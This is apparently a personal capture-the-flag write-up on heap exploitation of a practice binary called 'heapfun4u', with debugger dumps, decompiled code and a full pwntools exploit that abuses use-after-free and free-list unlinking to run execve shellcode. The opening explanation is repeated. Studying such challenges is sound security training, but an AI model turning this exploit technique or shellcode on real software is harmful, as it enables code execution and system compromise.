This is me doing past challenges to learn heap exploitation :-P
Let's have a look at the binary.
This binary has a custom heap implementation which means a lot of buggy implementation. A few of them which I found was :
>>> The buffer was created my calling mmap and it would return a buffer with RWX permission.
>>> So we can see that we are able to create a buffer of size -1.
>>> Being able to write to the buffer even after freeing it.
So let's try something with what we have. When we perform the following allocation :
if we free the buffer in the order
So the buffer C gets forward coalesed, so the previous pointer of A starts pointing to again the wilderness, A's next pointer points to B and B's previous pointer points to A.
So if we try to overwrite the pointer by writing to the freed buffer to the location we want the allocation to happen(for eg: GOT), that would not work and we would get an error of the pointer not being valid because the header of the block requires a size and it tries to dereference the pointer located at [rax+0x8] which in any case (which i came across) would not be a valid pointer. I was stuck here for a very long time.
So to write to a location what we can do is :
To write a size to the fake buffer we can utilize the Free function because it allows to write up to 256 bytes.
Since we are able to corrupt a doubly linked free list we can wite an arbitrary pointer to that address which will overwrite the saved return pointer with the address of the shellcode saved in a buffer. We can directly execute the shellcode even when NX is enabled as the buffer allocated has RWX permissions.
So making use of the no checking of the pointers in the doubly linked list we first free A and C.
And now when we free B, C get merged with B and its size also gets added to the size of buffer B.
So now what we do is when we first free A and C we overwrite the Bck pointer with ADDR(assume) so program assumes A is at address ADDR and at addr there is a size such that ADDR + size - 0x8 points to saved RIP. So when we free B saved RIP gets overwritten with the addr of the buffer where shellcode is written.
Analysis
Let's have a look at the binary.
root@kali:~/Documents/ctf/heap-exploitation/UAF# file heapfun4u
heapfun4u: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=b019e6cbed93d55ebef500e8c4dec79ce592fa42, stripped
This binary has a custom heap implementation which means a lot of buggy implementation. A few of them which I found was :
>>> The buffer was created my calling mmap and it would return a buffer with RWX permission.
root@kali:~/Documents/ctf/heap-exploitation/UAF# ./heapfun4u
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: -1
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| W
1) 0x7f91579b6008 -- -1
Write where:
>>> So we can see that we are able to create a buffer of size -1.
root@kali:~/Documents/ctf/heap-exploitation/UAF# ./heapfun4u
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 20
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| F
1) 0x7feb2c210008 -- 20
Index: 1
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| W
1) 0x7feb2c210008 -- 20
Write where: 1
Write what: AAAA
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
>>> Being able to write to the buffer even after freeing it.
So let's try something with what we have. When we perform the following allocation :
A = alloc(0x80)
B = alloc(0x80)
C = alloc(0x80)
and free the buffer A then the previous pointer of A points to the wilderness.if we free the buffer in the order
free(A)
free(C)
free(B)
Then the pointers would be arranged as:
1) 0x7f78eb5ea008 -- 20
2) 0x7f78eb5ea028 -- 20
3) 0x7f78eb5ea048 -- 20
gdb-peda$ x/50gx 0x7f78eb5ea008
0x7f78eb5ea008: 0x0000000000000000 0x00007f78eb5ea040
0x7f78eb5ea018: 0x00007f78eb5ea020 0x000000000000001a
0x7f78eb5ea028: 0x0000000000000000 0x00007f78eb5ea000
0x7f78eb5ea038: 0x0000000000000000 0x0000000000000fb9
0x7f78eb5ea048: 0x0000000000000000 0x0000000000000000
0x7f78eb5ea058: 0x0000000000000000 0x0000000000000f98
0x7f78eb5ea068: 0x0000000000000000 0x0000000000000000
0x7f78eb5ea078: 0x0000000000000000 0x0000000000000000
So the buffer C gets forward coalesed, so the previous pointer of A starts pointing to again the wilderness, A's next pointer points to B and B's previous pointer points to A.
So if we try to overwrite the pointer by writing to the freed buffer to the location we want the allocation to happen(for eg: GOT), that would not work and we would get an error of the pointer not being valid because the header of the block requires a size and it tries to dereference the pointer located at [rax+0x8] which in any case (which i came across) would not be a valid pointer. I was stuck here for a very long time.
So to write to a location what we can do is :
To write a size to the fake buffer we can utilize the Free function because it allows to write up to 256 bytes.
case 'F':
sub_40079D();
printf("Index: ", &buf);
v3 = &buf;
if ( read(0, &buf, 256uLL) <= 0 )
exit(0);
v9 = atoi(&buf) - 1;
if ( v9 < 0 || v9 > 99 )
exit(0);
if ( !*(&s + v9) )
exit(0);
free_buffer((__int64)*(&s + v9));
break;
Since we are able to corrupt a doubly linked free list we can wite an arbitrary pointer to that address which will overwrite the saved return pointer with the address of the shellcode saved in a buffer. We can directly execute the shellcode even when NX is enabled as the buffer allocated has RWX permissions.
So making use of the no checking of the pointers in the doubly linked list we first free A and C.
And now when we free B, C get merged with B and its size also gets added to the size of buffer B.
So now what we do is when we first free A and C we overwrite the Bck pointer with ADDR(assume) so program assumes A is at address ADDR and at addr there is a size such that ADDR + size - 0x8 points to saved RIP. So when we free B saved RIP gets overwritten with the addr of the buffer where shellcode is written.
Exploit
from pwn import *
p = process('./heapfun4u')
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54"
shellcode+="\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
context.bits=64
def allocate(size):
p.recvuntil('| ')
p.sendline('A')
p.recvuntil('Size: ')
p.sendline(str(size))
return
def write(where, what):
p.recvuntil('| ')
p.sendline('W')
p.recvuntil('Write where: ')
p.sendline(str(where))
p.recvuntil('Write what: ')
p.send(str(what))
return
def free(idx):
p.recvuntil('| ')
p.sendline('F')
leak = p.recvline()
leak = leak.split(')')[1]
leak = leak.strip()
leak = int(leak[:14], 16)
p.recvuntil('Index: ')
p.sendline(str(idx))
return leak
def niceguy():
p.recvuntil('| ')
p.sendline('N')
leak = p.recvline()
leak = leak.split(':')[1]
leak = leak.strip()
leak = int(leak, 16) + 260
return leak
def call_ret():
p.recvuntil('| ')
p.sendline('E')
p.recvline()
allocate(50)
allocate(22550)
allocate(50)
allocate(50)
leak = niceguy()
log.info('Leak : {}'.format(hex(leak)))
write(2, shellcode)
payload = fit({0:"1",2:"\x00",240:pack(0x38)},filler="A",length=248)
free(payload)
free(3)
payload = fit({40:pack(leak),48:"\x00"*2},filler="A",length=50)
write(3, payload)
free(2)
call_ret()
p.interactive()